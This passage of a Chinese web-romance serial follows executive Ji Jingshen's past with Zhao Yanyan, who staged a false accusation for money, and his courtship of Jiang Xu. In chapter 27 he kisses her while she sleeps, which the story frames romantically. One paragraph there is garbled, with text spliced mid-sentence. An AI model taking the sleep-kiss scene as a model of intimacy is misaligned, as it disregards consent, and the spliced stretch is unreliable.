山区女生一生之中能逆天改命的机会并不多,赵颜颜已经用尽了百分之一千的努力,才得到那么一点点的机会。外公从小告诉他,这个社会对女生太过于不公平,她们光是活着,都得比男人付出更多的努力。所以,真正看到时,他做不到完全的袖手旁观。 那之后的两年多,赵颜颜的排名始终在他的后面两三位。很厉害。他借着季家给他无数顶级资源的加持,而赵颜颜截然不同,靠的只有她自己。 高考报名填写信息的那个月,赵颜颜请了好几天的假。季惊深再次见到她,是她红着眼,第一次向他求救:“我的身份证落在器材室了,你能陪我去吗,我,我一个人太害怕了。” 他答应了。只是一件很小的事情而已。 季惊深是这么认为的。 直到器材室的门从背后被人关上,赵颜颜开始疯狂扯着自己的衣服。季惊深总算是意识到了什么。 这是一场农夫与蛇的人性测试。 事情发酵得很厉害,季家给了十万,赵颜颜总算是愿意出面澄清一切。办理转校的那天,季惊深不顾季老爷子反对,再次见了赵颜颜。 “为什么?” 赵颜颜一点点地解开自己的衣服,直到只剩下小衣。上面新加了很多皮带勒出的痕迹,烟头烫伤,以及各种伤痕。 “我没有选择了季惊深,家里不让我高考,我就逃了出来。可我需要钱,我需要一笔能让我读书的钱。十万对于季家来说不多,却是我这辈子唯一能改变人生的机会。你恨我也好,怨我也罢,我真的没选择了。” 她哭着,崩溃着:“我不够努力吗?这五年多以来,我没有一天偷懒,我学得比你们所有人都要努力。我不想早早地嫁人,我不想这一辈子只是为了换我弟的彩礼而活着。季惊深,我和你们不一样,我没有退路。骂我下贱也好,毫无用处的名声换十万块,值了。” 季惊深沉默地听着,眼里再也没有任何对她的同情:“赵颜颜,你明明可以开口问我借。” 赵颜颜苦笑:“你能给吗?季大少爷,季家对你监视掌控,你的每一笔花销都被家里盯着吧。” “没问过,怎么知道我拿不出来?” 赵颜颜哑然。 季惊深凝眸看着她,嗓音沉沉:“赵颜颜,你根本就不想问。你早就有自己的计划,在你心里,恨着我们这样的人。现在这样,是不是让你一直都觉得不公平的心里,稍微好受了一些?” 他们这样,一出生下来锦衣玉食,不用为前途担忧的富家子弟。而她在多年的折磨下来,滋生的那点病态,更是想要把他拉下泥潭,沾染上玷污女生的污名。 他收回目光,转身离开的瞬间,身后传来赵颜颜哭泣不止的声音:“对不起,对不起,真的对不起。明明,明明你是唯一一个愿意对我好的人,对不起……” “不需要,麻烦你以后,别再出现在我面前。” 此后,季惊深远赴英国,长达十年。关于这段过往,鲜少的知情人依旧觉得,当年的他,对赵颜颜有几分喜欢。 可他很清楚,从来都没有。 他不会喜欢上和自己有同样境遇的赵颜颜,会让他侧目的,心生涟漪的,从来都只有姜许那样的。活泼,骄纵,充满生命力- 晚饭吃得快,八点多时,季惊扬便已经识趣地走了。外面夜色正好,逸安的地理位置太过优越,在往那边走便是横穿北安的长河中下游。 姜许主动提出了散步的邀约。快入夏的天气,北安的夜晚带着几分微凉感。风吹在脸上,卷走几分室内的闷热感,清爽舒适。 结果—— 没走多久,季惊深便察觉到衣角被人给拽着,偏头看去,夜色之下,姜许那张脸明媚好看,语气都娇了几分:“有点累了,季惊深,我想靠着你。” 他驻足,温声提醒着姜许:“我们还没在一起,姜许,你现在是名不顺言不正的占我便宜。” “都说是占你便宜了,还要怎么名正言顺?” “……” “等会这里有喷泉表演,一起看看吧。” “好。” 衣角处的余温一点点往下,那只不安分的手又缠着握紧了他。轻轻挑开了他的袖口,打量着他腕扣处的手表。 “今天戴的手表很好看,季惊深,你是只戴这个牌子的手表吗?” “不是。” 衣帽间里的手表不少,季惊深没仔细看过,但牌子并不少。 “那好,回头我给你挑几只。手表好看是好看,总感觉有些太抢眼。你的西装色系就那两种,回头我给你挑一些百搭的。” “可以。”季惊深点头,又补充了一句:“回头卡号发给我,我让胡泽给你转钱。” “不用。”姜许看他一眼,眉梢愉悦:“毕竟我要追你,总得对你好些。而且我不缺钱,季惊深,你要是觉得占了便宜的话,回头也——” “底线不能破。”季惊深打断她的话:“姜许,没有确定关系之前,太过亲昵,传了出去对你不好。” “只是接吻也不行?” 她还想不确定关系就和自己接吻? “不行。”季惊深说,反扣住姜许的手,用了几分力,暗含警告的意味:“姜许,我没谈过恋爱。你要是对我是认真的,该有的步骤,一步也不能省。” 理解。 第一次恋爱,谁都想有个美好的回忆,否则就是好几年的阴影。 姜许思索着,又看到不远处相拥的情侣:“拥抱呢?” 没等季惊深回答,她主动地贴近了男人的怀里,额头摩挲着男人的下颚。 夜风吹着,她的发梢被卷起擦过季惊深的侧脸。怀中分外柔软的触感,和他截然不同。垂眉看去,纤细白皙的脖子勾勒着黑发,耳垂小巧而又精致。她在笑,眉梢都带着几分得逞的意味。 全身酥麻。 痒到了极致。 季惊深的身体紧绷着,可偏偏姜许得寸进尺,抬着头,温热的呼吸恰好落在他的喉结上:“你很紧张,季惊深。只是这个程度而已,你要慢慢接受。” 季惊深的呼吸险些不稳。方厌说对了,对他没意思之前,姜许会装,装的乖巧又礼貌矜持。一旦心思暴露,他这样的,玩不过姜许。 “姜许,我还没答应你。”季惊深找回自己的声音,大手扶着姜许的肩膀,将人稍稍带离。 “好,我下次注意。”姜许占了便宜,心情极好。九点和九点半会有一场喷泉,这会周围又多了不少人,还有悠长的弹唱声从不远处飘了过来。 她看着季惊深,还是没忍住:“我能问你一个问题吗?” “想知道的话,我都告诉你。”季惊深道,手机却在这个时候不合时宜地响了起来,他偏头接过,没有刻意避讳姜许。在应下对方之后,这才挂断电话:“姜许,抱歉,我要失约了。” “没关系,那你先回去吧,我再等等。”姜许朝他笑:“今天的喷泉和平常都不一样,等会我录给你看。对了,十八号还有一场,到时候我们再一起来,虽然肯定没有今天的好看,但是季惊深,我想和你一起看一次。” 这是一件很小,小到不值一提的事。 喷泉表演而已,一件,再平常而又没有意义的事。 季惊深想到某年的除夕,他站在书房的阳台上,看着方厌发来的消息。 【烟花好看爆了,你没来真是可惜了!】 季老爷子不允许他去。 人多,也只是一场无聊的烟花秀。声音太大,太过危险。他的身体不允许,时间也不允许。 “惊深,你要是想看,回头爷爷让他们在季家门口表演就好了,何必这个时候去凑热闹。这么无关紧要的事,怎么能影响你早睡早起。明天还有安排好的课程,乖,不要因为是寒假就懈怠。逸安以后,可是要交给你的。” 他握着手机,静等了几分钟后,方厌再也没有发来任何的照片。 【有照片吗,我想看看。】 方厌没有回他,直到第二天才匆匆告诉他:“我昨晚玩嗨了,我还以为你对这些没兴趣呢。哎呀,回头有机会一起去就是了。” 那之后的很多年,直到北安禁燃烟花,他也没能去看过一次现场。而季老爷子答应他的,也早就忘之脑后。 “好。”季惊深嗓音低沉了几分,像是承诺一样,温浅而又认真:“姜许,下次我们一起看。” 第26章 第26章【VIP】 季惊深回到逸安,距离九点还有一会。和英国那边对接的生产线出现了问题,材料供应质检不合格,又偏偏快到了期限。 漫长的一个多小时会议,季惊深冷静地分析了目前可替代的工厂,计算着跨洋时间,交货时间,生产时间。为防止失误,他尽量把时间提前了一些,哪怕是再有紧急情况,也依旧能有时间去处理。 等吩咐完一切,他才疲倦地退出视频会议。视线轻抬,对上不远处沙发上坐着的季安棠。她来了有一会了,看到他在忙,便安安静静地坐着,时不时刷一刷手中的平板。 “大哥忙完了?”季安棠合上了平板,含笑着指了指黑色茶几上的食盒:“爷爷听说你最近都很忙,特地让我来送点夜宵。都是陈伯精心为你准备的,对你的身体也有好处。” 陈伯是跟了季家十几年的特厨,最擅长用食疗补身。季老爷子本打算安排季惊深回国后便排到他的别院去,可先前因为各种事情,爷孙之间的关系有些僵硬。季惊深本能地排斥季老爷子给他安排的任何人,哪怕是和他相识已久的陈伯。 “替我谢谢老爷子。”季惊深起身,又看了眼夜幕,道:“我拿回去吃。安棠,下次这种事,辛苦司机跑一趟就好,你在柒渔事情也不少。有时间留给自己休息,不用忙活这些小事。” “我想见大哥也不行?”季安棠笑了笑,对上季惊深一眼看穿的黑眸,她只好实话实说:“好吧,老爷子让我来旁敲侧击。听说,赵颜颜回来了?” 她和季惊深差的年纪不多,当初发生这事的时候,她也在学校。多多少少的,要比其他人知道的更多。 季惊深:“老爷子想做什么?” 季安棠道:“老爷子听闻后,是打算把赵小姐赶走,顺便,再使些手段。不过被我拦下来了,这说到底,还是大哥自己的事情,大哥如今也有能力处理好。” 季惊深微微蹙起的眉头舒展开来:“安棠,多谢。” “可别,我担不起大哥的这声谢,是我该谢谢大哥才对。”季安棠看穿季惊深要回去的动作,也不多待,很快地起身:“那我就先走了。大哥,你自己注意身体。” “嗯。”季惊深道,望着季安棠的背影,淡淡补充一句:“前些天给老爷子买了些字画,周末要是有时间,辛苦你替我跑一趟吧。” 季安棠有些惊讶。她不常回老宅,但是这爷孙两僵持不下的事,她多少也是听说了一些。还以为…… “老爷子和我之间,血浓于水。” 季惊深不得不承认,他怨过老爷子,怨过季家。可对比起出生开始就得为了生存而苦恼的人,他已经算是幸运至极。世上没有十全十美,他不能够贪心到既要又要。 从办公室出来,季惊深直接上了车库。后座开了一盏小灯,他闭目养神了几分钟,才缓和好精神。划开手机,姜许的消息在一个小时前就已经发了过来。 十几秒的短视频,喷泉呈现着五彩斑斓的颜色,在江上波澜起伏着。远处传来高昂的吉他弹唱声,画面往上移动了几分,喷泉倾泻下来的瞬间,无人机升起,笨拙地摆弄出几个爱心和炮筒的模样。周围很热闹,镜头横扫的那一眼,很多小情侣在拥抱拍照着。 季惊深退出视频,往下是两张姜许的自拍。 她靠在栏杆上,角度找得很随意。周围还有杂乱的人群,十色的灯光也着实不够明亮,衬得人有些暗。可却压不住姜许自身条件好,五官依旧明媚。 姜许:【好看吗?】 季惊深不假思索;【好看。】 姜许刚刚结束头疗,等着吹干头发的间隙,总算是看到了季惊深的回复。 十点半,有够晚的,都快可以跟姜祁州那个工作狂媲美了。 她起身刷卡,拿包走人,回去的路上逗着那头的季惊深:【人好看还好景好看?】 【喷泉好看。】 姜许撇了撇嘴。 啧,好无趣。 【人也好看。】 虽然无趣,但是很有眼光- 姜许的生理期来得突然,走得也很突然。拖拖沓沓来了快一周还没见收尾,江小满都打算带着人去看看老中医了,结果又在周末的前夕,结束得干干净净。 “气血不足,熬夜,喝酒,作息不规律……”姜许反复念叨着江小满说了一个多小时的话,脑壳都快大了:“你好意思说我?你生理期不也是两三个月来一次?” :“我那是被迫加班,你那是什么?天生爱上黑夜的寂寞?” “你不懂。”姜许神神叨叨叹息了一口气,故作惆怅:“只有在深夜里,我才感觉到寂寞的灵魂有所依。” “姜许姐嘟囔了一句,一边看着自己的死亡承伤,一边接话:“像你去面北,不睡觉就直接上电棍。” 姜许回头朝他冷笑一声:“那你去?” 经常熬,不敢啃声。 鸡汤熬得差不多了,姜许敷衍地打了下手。刚做的长指甲不方便得很,她顶多也就是拿拿盘子解冻解冻食材。 一方小天地里,话题从往昔又聊到了最近的感情事。江小满一边忙活着,一边好奇问她:“你没觉得季惊深这人有点梦幻吗?” “什么?” 江小满想了想,尽量把自己的意思描述清楚:“就是,家世好,长得好看也就算了,还温和礼貌。重点是,他和赵颜颜那件事,我个人觉得,挺加分的。所以他这个人,恍惚到让我觉得有点不真实。” 是不太真实。 姜许起初也是这么觉得的,清冷,淡漠到不好靠近。 可是那晚突然靠近的怀抱,季惊深僵持到不敢动的身体,微微泛红的耳根。又把这位不真实的,明明应该高坐神坛之上的人,给拉了下来。 “所以姜宝。”江小满正了脸色:“你是喜欢季惊深这个人呢,还是觉得他好,所以才喜欢他?” 姜许静默两秒:“大概,是后者。” 江小满:“……” 姜许:“是不是渣了点?” 她是喜欢季惊深的,这一点自然是毋庸置疑。可这份喜欢,没有经过长时间的相处和接触,只是基于他对自己的好,样貌家世的加持,以及,姜许认为他是个值得喜欢的人。 “不渣。”江小满回答得一本正经:“姜宝,只要你不当三,谈八个我都支持你。” 姜许:“……” “况且。”江小满笑:“我对季惊深有信心。” 那么好的一个男人,让姜宝喜欢上,是迟早的事。 晚饭吃得早,结束的时候才六点多。季惊扬赖着不走,还翻出了姜许放在柜子里的好酒。姜许晚上还有约,直接把地方腾出给两人,拿上车钥匙往外赶。 季惊深提前了小半个小时到的。 晚宴上喝了点酒,出来便饮了一碗醒酒汤,却还是不怎么放心。上一次醉酒,他意识全无,隐约记得和姜许偷听了墙角,又见了一位逸安的董事。再之后,记忆断片。等他醒来后,是在姜许的家里,衣服还算是整齐,可断断续续的记忆却在明晃晃地告诉着他。 有什么不可言说的事情,在酒后发生了。 季惊深并不是一个很传统的人,相反,在国外的十年,他的思想较为国内更为开放。他能接受的关系很多,炮友,一夜情,甚至种种。不过那都是有前提的,这些事,朋友、至亲身上发生,都无所谓。可他本人,并不喜欢。 不过,倒也不能说是不喜欢。他不排斥姜许的靠近,甚至,贪婪地想要更多。越是这样,他便越要克制。都说了得到就容易不珍惜,他无所谓把所有都给姜许,甚至她想要,成为于她的裙下之臣也可以。 可,他得有个名分。总不能为了一时贪心,给自己挖一个坑。 这不是商人作风。 晚风吹着那点点酒意逐渐散去,季惊深安静地等着。想着要和姜许散步的缘故,从晚宴下来后,他换了套宽松的长袖,倒是减龄了不少。眉眼微垂之际,多了几分温和的暖意。 “你,你好……”面前是紧张的女生,小脸红扑扑的:“帅哥,我,我能加你个微信吗?” 季惊深眸色淡了几分,视线轻轻越过女生。在她后面七八米开外,姜许安静地站在路灯之下,手中捧着一大束玫瑰花,朝他笑得明媚。 “抱歉,我不加外人微信。”他淡淡解释,缓步走到姜许跟前。 玫瑰花塞进了他的怀里,娇嫩欲滴,带着很浅的香气。很明艳,像是姜许一样。季惊深微微拢紧了几分,他的视线从玫瑰花中往上偏了几分,语气温淡:“怎么想到给我买花?” “觉得好看,就顺路捎过来了。”姜许眉眼高高扬起,带着些许的矜纵。其实她撒谎了,为了买这束花,多走了二十分钟的路,这会脚都酸疼得厉害。 她站稳身,又问:“不喜欢吗?” “没有。”季惊深静默两秒,没给姜许继续这个话题的机会,而是问:“刚才怎么不过来?” “不想让小姑娘难堪啊,人家就是觉得你好看,搭讪一下,我过去无名无分的,算怎么回事?”姜许故意加重“无名无分”四个字。 季惊深听出来了,她带着几分抱怨,语气似是在撒娇。黑眸不自觉地深了几分,喉结滚动之间,他依旧克己复礼地遵守着自己的底线:“我只是觉得我们之间还需要一个相处了解的过程,姜小姐应该不会存着只是对我一时新鲜感上头,想要快点得手之后再玩腻了就甩掉的想法不是吗?” “当然不是。”姜许没由得来的心慌乱,对上季惊深的黑眸,很快地转移话题:“你今天工作忙不忙?” “还好,工作量不算多。”季惊深顿了顿,浅声问:“姜小姐呢?” “工作多得很,没办法,你也知道,我的名声太响亮,想找我合作的人多得很。” 这幅语气听着有几分傲气,可偏偏从姜许嘴中说出来,又觉得再合适不过。 “其实平时也还好,最近姜祁州心情不好,自己工作狂不说,还得顺带压榨我。” 季惊深安静地听着,时不时地应上两句。直到那说话的声音越来越低—— 她是真的困了,眼皮上下打架着,却还在强撑着精神。 “困了的话,可以先回去。”季惊深并不知道她今天这么忙碌。四点多起来拍摄外景,忙到了下午两点多,吃个饭浅浅休息一会,又得陪着他出来。 “那可不行。”姜许摇头,语气带着几分慵懒:“季惊深,我不想失信于你。” 夜风轻抚,吹着宽大的衣袖灌了些凉风进去。 季惊深平静地看着远处的江面,克制的念头终究是没抵住欲念。 “姜许,往我身边靠着休息会。” “……好。” 远处人声鼎沸,浪漫的爱情小曲伴着喷泉一同,热闹得很。 姜许的心思却不在看风景上,目光顺着身侧男人,从喉结往上,白皙的侧脸,一双幽深的黑眸。他的身体并不软,贴近时是雨后青草的香味。 直到一场喷泉结束,季惊深垂下眼眸:“怎么了?” 姜许收回视线,轻笑摇头:“没什么,我们再走走?” 季惊深倒是随意,今天的工作全部结束,回去也只是健身看一些新闻罢了。只是……他将视线落在倦态明显的姜许脸上,温声询问:“还能走?” “好像……不太能。”姜许松快了一些腿脚,全身都软得厉害。得亏今天是打车来的,否则回去油门都踩不动了。 季惊深静默须臾,缓缓在她面前蹲下:“这里距离街口还有一段路,姜许,我背你过去。” 远处江面依旧有星星点点的灯火,暖色的路灯映衬在男人的侧脸之上。他背对着自己,只依稀看得到一个轮廓。初见那样一个高不可攀得仿佛是在神坛上的男人,此刻却以一种臣服一般的姿态,半蹲在她的跟前。 姜许说不上是什么样的感觉。 心脏酥麻,连微风似乎都清甜了几分。 她缓缓地爬上了季惊深的背,鼻间微不可闻地擦过男人的脖子。察觉到身下男人身体的微微僵硬后,姜许试探性的,双手搂在他的脖颈间。 故意一般,被引诱了一般,红唇轻轻贴上了男人微凉而白皙的脖子。 第27章 第27章【VIP】 季惊深的动作顿住,夜幕之下,眸子里像是染了一层墨色,久久难散。呼吸沉了两秒又逐渐平稳下来,他偏头,对上姜许的视线,微微哑着声音:“姜许。” 攀在肩膀上的手紧了紧,指甲有些长。隔着衣服挠着他,却也没有太多的不适感,反倒像是挠抓一样。 托着她的腿用了几分力,姜许看过去。 光影交错之下,男人眼底晦涩不明,下颚微微绷紧着。远处响起的是一首七八年前传唱度很高的热恋小区,温柔低沉的男声和吉他声一同飘了过来。 江边围栏处热闹温柔,而此刻姜许却处在水深火热之间。 禁锢着她大腿的手实在是太过滚烫,更别提此刻季惊深的眼神。像是一头失了风度的狮子一般,以一种狩猎的目光紧紧锁住她:“我说过,我也是正常男人。虽然有原则,可也不是一直都能保持着君子作风。” “姜小姐再抓弄下去,确定能付得起后果吗?” 他说的后果,可不只是一次夜晚的欢愉那么简单。 姜许怔了怔,男人的步子不疾不徐,将她从热闹的人群之中背离。从石子路穿过去,人较为江边少了不少。 四下安静了很多,季惊深的声音也缓和了不少:“吓到你了?” “没有。”吓着倒不至于,只是—— “有些意外。” 姜许趴在季惊深的背上,手没敢作乱,却也无聊不自在得很。她借着路灯看着美甲上做工精致的蝴蝶翅膀:“我还以为季总清风霁月的,哪怕是天大的事,也能面不改色彬彬有礼。” 就连喝酒醉了,也是那副温和有礼的样子,半点出格事都做不出的男人,会说出那样一番话,让她很意外。不知道是有意警告她,还是真正会破了原则。 “姜许,这个世界上就不会有完全君子的人。”季惊深偏头,呼吸落在她的脸上:“况且,我从来都不是什么君子。” 他只是,在季家的要求之下,扮成一个温和有礼的翩翩君子形象。实则不然,他有着自己的贪欲,执念。 “这样,姜许,你确定不改变自己的心意?” “季惊深,你今天怎么总在试探我?”姜许无奈,困顿的眉眼耷拉了两分,又娇矜地抬起:“是季总自己说的,少相信传言。我对你不是一时兴起,虽然没想过未来太久远的事,但也不至于到喜欢你两三天就移情别恋。” 季惊深脚步微微顿住,他的黑眸中倒影着的,近在咫尺的姜许。带着些许骄纵,疲倦的眉眼故作精神的强撑着,红唇很浅地撅起一丝不满的弧度。 他收回视线,看着不远处的街边。墨色卷了又卷,反复几次,才将此刻不该有的情绪给克制下去。 “姜许,我给过你机会了。” 很多次。她自己选择不走的,那以后,就别想走了。 “这话应该我来说。季惊深,我不吃亏。”姜许浅浅地打了个哈欠,胆子又大了些,一点点地从他肩膀滑落到身前,随着季惊深走路的动作轻轻晃着。 “季总,我有点饿了。” 其实在家已经吃得很饱了,江小满厨艺是没得说,不然季惊扬那小子也不会特地跑来蹭个饭。可今天的消耗太大,这会胃里又空了不少。 “想吃什么?”季惊深的步子稍稍加快。 “七中后门的那家小馄饨,还有金鱼巷的油泼面。对了,我记得你们学校对面也有一家湘菜馆,味道很不错。” 季惊深:“都吃?晚上吃太多容易积食。” “随口说说。”姜许笑,温浅的呼吸落在季惊深的脖颈处,她好整以暇地看着男人的耳根爬上红温,心情愉悦:“这话要是跟姜祁州说,他肯定让我滚。” “姜总也只是嘴上说说,你想吃的,他会放在心上。” “现在是不能吃了,等改天,我带你去吃。” 这几家店一个城东一个城西,跨度太大,北安周五的夜晚常常堵车,姜许不想又折腾到一两点。她这会,只想回家倒头就睡。 “时间不一定有,不过我会尽量抽出时间。” “忌口呢?” “没有,我不挑食。” 陈伯早年给他做食疗时,各种难吃的东西都丢进汤里一起熬过。季惊深有很多不爱吃的,比如菌菇、红枣、内脏、药草等等。起初他也拒绝过,换来的是季老爷子的强制性服从。 食疗是为他好,季家上下千辛万苦,所做的了比别人更优越的生活,就应该学着懂事,顺,到后来,每天的膳食中,几乎都是他所排斥的。久而久之,这他对食物的接受, 了季惊深的脖子,像是在拥抱一般。她凑了过来,下巴抵在他的后内脏,包子不吃肉馅……算了,太多了。小时候我妈和姜祁,说我太难养。” “季惊深,你想,带坏你。” “……好。”。 这是和她家装修截然不同的卫生间,占地约莫五六十平,空间很大。隔间处是全透明的设计,和季惊深身上一模一样味道的香薰在洗手台上燃放着,四周的空气里都飘着一股很浅的青柠香。 姜许抬头看着白茫茫的雾气,身体被这一场热水澡洗去了不少疲倦,精神却还是困着的。 浴室的门口传来敲门声,姜许打了个激灵,从要睡不睡中清醒出来。隔着门,季惊深的声音显得有些沉闷: “姜许,我这里没有女生穿的衣服,只有衬衫,将就着,明天我让他们送过来。” “好。” “不要洗太久。*” “好。” 房间门再次被关上,季惊深出去了。 姜许关上热水,光着脚从浴室走到房间。 这是季惊深的房间。陈设布置几乎都是暗色系,一眼看过去便觉得死气沉沉的,没多少色彩可言。窗帘也拉得很紧,外面的月色透露不进半分。屋子内收拾得很干净,床头上摆放着两张照片,一张是他和季澜之的,看样子应该就在最近两年,身后的建筑像是在英国的剑桥。而和他母亲的那张,则有些久远了。久远到照片中的季惊深还没有现在这副成熟稳重的样子,看着也就二十一二的样子。 收回目光,姜许把那件宽松的衬衫穿了上去。其实还有一条男士睡裤,只是实在是不合身,索性也懒得穿了。 随意搁置在他床上的手机振动着,江小满发来了消息。 【我也喝得有些醉了,刚眯了一觉醒了。怎么样,要不来我家住一晚?】 姜许也没想到,她人前脚刚走,季惊扬后脚就和江小满喝得烂醉如泥。本来都提醒过他,那瓶酒度数高,喝一两杯都算他厉害了。结果他倒好,半瓶都给干了。 也就江小满理智尚存,眼看差不多了,提前溜了。下楼还正巧遇到姜祁州赶高铁,顺路捎了一程,留下一个死活不肯走的季惊扬。偏偏他防患意识还极好,生怕自己的清白被人糟蹋,反锁了门。 好不容易到家门口本以为可以睡觉的姜许,钥匙都快扭断了却依旧开不了门。在季惊深的提醒下给季惊扬打了电话,却一直显示未接通的状态。 姜许都气笑了。 自己的家,出门一趟被偷了。 “季总,今晚能否让我借住一晚?”姜许指了指门,意有所指:“这可是你亲弟做下的孽,更何况上次季总喝醉,我也很好心地收留了你。” 于是,就这样,姜许跟着季惊深回了家。 季惊深的别院比她想象中的要大上一些,一楼除了客餐厅便是健身房。二楼的房间也不多,一个书房,两个卧室。客卧平时没什么人使用,略显简陋,季惊深便把她安排在了主卧。 理好衣服,姜许扫了一眼自己,又将衬衫的扣子解下来了一颗。 房门推开,外头便是一个过渡客卧和书房的小客厅。 季惊深正在打着电话。 他已经洗过了澡,换上一件浅灰色的睡衣。短发吹了个七八分干,却依旧还有几分湿漉地垂在额前。他坐在黑色的真皮沙发之上,手中握着质地透明的玻璃杯,一张脸微微沉着,眉眼冷淡而又不耐:“赵小姐,如果是公事,还请注意时间。至于私事,我们之间没什么好谈的。” 赵颜颜。 姜许靠在门口,也不着急走过去。 年少的救赎,要是她,能一辈子忘不掉。现在事业有为,想要回来再续前缘也是人之常情。要是看中的不是季惊深,姜许或许也会磕一磕这样虐恋情深的久别重逢。 可惜了。她这人没什么中华的传统美德,学不会孔融让梨,也并不打算做什么温柔大度人设。 她抬腿走了过去,秀气的脚踩在木地板上,略显有几分凉意。 听到这边的动静,季惊深的视线跟着移了过来。骤然,握着手机的手使了几分力,手背的青筋依稀可见,如葱竹一般,张力十足。 他的衬衫对于姜许还是宽大了不少,松松款款地穿在身上,肩膀歪斜着,露出大片的春色。头发只用了一个夹子盘住,慵懒地垂着,还有些许垂落在锁骨处,隐没在高隆的交界处。她的肤色太过于白皙,沐浴后更是透着几分绯红。 裤子他已经找了最小的,却也依旧不合她的身。纤细而直的双腿俏生生地站着,轻轻地踏在地板上。 季惊深喉咙发紧,声音低得有些哑:“鞋子怎么没穿?” “太大了,会打滑。”姜许声音娇了两分,像是在抱怨一样:“回头你安置一些女生用的生活用品,不然我过来住都不方便。” 季惊深想,他应该是要拒绝的。 不能让姜许得寸进尺,他们之间的事情,都要按照步骤一点点来。正式,认真,让她放在心上,不能太容易得到。 可眼下—— 他很喜欢家里多了她的感觉。 很喜欢很喜欢。 “好。”他终究是败下阵来。 “季惊深……”电话那头的声音还在继续,恼人到令季惊深烦躁。 那日的话,季惊深已经自认为说得很清楚,没有留给她半分念想的余地。可次日,赵颜颜便又在逸安出现,是以西宁边野集团的负责人身份出现,和他洽谈关于逸安名下子品牌的合作事宜。 项目不小,关于前期的考察各方面就得蹉跎一段时间。他早就交给了李董事会的长女去处理后续事宜,没两天,却被刁难着主动请缨去分公司历练。 “我真没有故意刁难她。”赵颜颜说:“她的经验太少,很多数据都只会从文件上看。季惊深,这个项目带来的利润并不小,我想和你亲自谈。” “我让胡泽安排时间。” 电话挂断,他偏头,对上姜许别有深意的目光:“要吃点什么,还是直接睡觉?” “我不困。”姜许刚说完,就不受控制地打了个大大的哈欠。 谎言瞬间被拆穿,姜许也不尴尬,只是轻轻抬着下巴:“赵小姐找你是谈生意的?” “嗯,她是西宁边野的负责人,正好有个项目要洽谈。” “西宁边野……” 姜许不混商圈,但是跟在姜祁州身边这么多年,出席的宴会多了,这种自然也是知道一二。边野集团在西宁可是三大巨头之一,现掌权人黎江妄更是一个杀伐果断玩世不恭的主。赵颜颜能当上边野入北安的洽谈负责人,可见能力之高。 出身在重男轻女家庭,用二十多年的时间走到现在。 论能力,姜许很佩服。 “那我放心了。”姜许说。 季惊深看她。 “正常人应该不会爱上同事。”姜许说:“之前我上班那会,见到同事只想暗杀他们。” 季惊深起身,给她倒了一杯温水。递到她手边时,刻意的,避开了接触的位置。 “以前上班?” 姜许点头,抿了口水道:“对啊,我刚毕业那会,信心满满,以为自己在圈子里也算是有点小名气,所以签了个公司。结果还是吃不了苦,半年就跑路了。姜祁州那会还给我赔了几十万的违约金。” 季惊深:“你不是吃苦就辞职的人。” 姜许稍顿,红唇轻轻扬着,头发又垂落了一缕下来:“季惊深,我发现,在你面前,太难有秘密了。” 明眸皓齿,实属是难以守着底线。 季惊深握着玻璃杯,喝了大半杯水下去:“我不会深究你的事,这一点,我会给足你尊重。” “时间不早了。姜许,你该睡了。” 困是极困的,可到底不是自己的房间,姜许辗转了好一会,有些认床。手机刷了又刷,回复了几条秦知瑶的消息。 【进剧组的时间又延期了姜许姐,今天赵姐大发雷霆,我快吓成鹌鹑蛋了。】 姜许忍不住笑,有画面了。 【不过好在可以休息几天,姜许姐,我买了可多的礼物,回头在度假村,我一起给你。】 她们约了后面的拍摄,工作量不大,加上柒渔给的价格实在是好,他们团队也就当做公费度假了。 【好。】 【还有还有,你七号朋友圈给好好姐花的那个妆容太帅了,回头我也想试试。我决定,请你吃大餐贿赂你。】 倒也不用…… 那是唐渺渺设计的妆容,回头她给个加班费,让她捣腾一下就好。 秦知瑶的话实在是太多,消息一条接着一条。姜许当个故事看,迷迷糊糊的,睡了过去。 指针走到十二点,季惊深照例看完最新的财政新闻。 书房明亮,黑色的书桌上一丝不苟地摆放整齐着各种书籍和文件。沉闷,压抑。唯独右边处大束的玫瑰花开得明艳,添了几分活力和生机。 季惊深放下平板,手指抚上了那一抹亮色。静默须臾,他起身离开。 从小客厅穿过,便是他的主卧。推门看去,视线落在床上微微凸起的那一小块上。还没入夏就开了空调,室内寒凉,被子也歪歪扭扭的,纤细的腿露在外面。这么睡一晚,明早起来怕是要发烧。 他走上前,将空调的温度调高,再替姜许盖好被子。 这是他的初衷。 可现在,姜许侧睡,小脸微红,发丝凌乱地垂着。他的眸子不自觉地深了几分,在这深夜之中,有些事情总是显得有几分难以克制。 “季惊深……” 姜许在梦呓:“假正经……” 不再隐忍。 床边的一角陷了两分。 季惊深轻轻摩挲着姜许的下巴,掌下的肌肤细嫩而软,他甚至不敢用什么力气。 他知道这不是君子作为,可以算得上是趁人之危。况且,是他早就决定好了的,在有名分之前,这种事,还不能做。 克己复礼的想法不断地盘在脑海中,可却怎么都抵不过心里本能的贪欲。 他无耻的,失信的,又贪婪地吻上微微张合的唇。 他告诉过姜许的。 他从来都不是什么君子。 从来都不是。 第28章 第28章【VIP】 浅尝而止。 季惊深不敢太过于深入。 姜许睡得很熟,唇珠被他含住时,很轻地嘤咛了一声。 在那一秒,季惊深的全身都在紧绷着。 他甚至想好了姜许被他吵醒之后,会用着什么样的眼神看着他。茫然过后,带着几分戏谑,明晃晃地嘲讽着他所谓的温和矜礼。 季惊深没打算太早暴露自己贪欲的一面。也好在,她只是轻轻地咬了咬唇,又沉沉地进入了梦乡。 撤离后,他的唇间带着属于小女生的香甜,软乎得不可思议。 宽松的睡裤隐隐有着抬头的迹象,季惊深淡淡地扫了一眼,目光始终专注地落在姜许身上。 黑眸幽幽,疯涨的欲望在姜许转身露出白皙的肩膀时达到了顶峰。 喉结难耐地上下滚着,涨疼着的。室内逐渐变得燥热起来,在那一刻,季惊深竟有了一种,不顾一切的,成为他们所唾弃的,被欲望控制的衣冠禽兽。 现在还不行。 会把人吓跑。 季惊深在理智中起身,回到书房。室内实在是太闷,窗户打开了一角,窗帘却依旧严严实实地遮挡着。 高高隆起的那处始终下不去。 他闭了闭眼,再睁开时,望着面前娇艳鲜嫩的玫瑰花,须臾。骨节分明的手笼着,眼里是化不开的情绪。 他是个很有耐心的人,先前不久和大湾区的合作项目,前后事宜各种敲定,花了几乎大半年的时间,最终得偿所愿。 而这一次,也是这样。他不介意花费很多时间,让姜许一点点主动来到他的身边,心甘情愿的,完完整整的,喜欢上他- 次日是周末。 季惊深依旧在九点准时到达了逸安。线上有个跨国会议,还有两份文件需要签署。还有,温家小姐想要入职逸安,谋个职位历练一下。 这话明眼人都听得出来有多假,历练不是真的,想要借此机会和季惊深相处,以此培养感情才是真的。 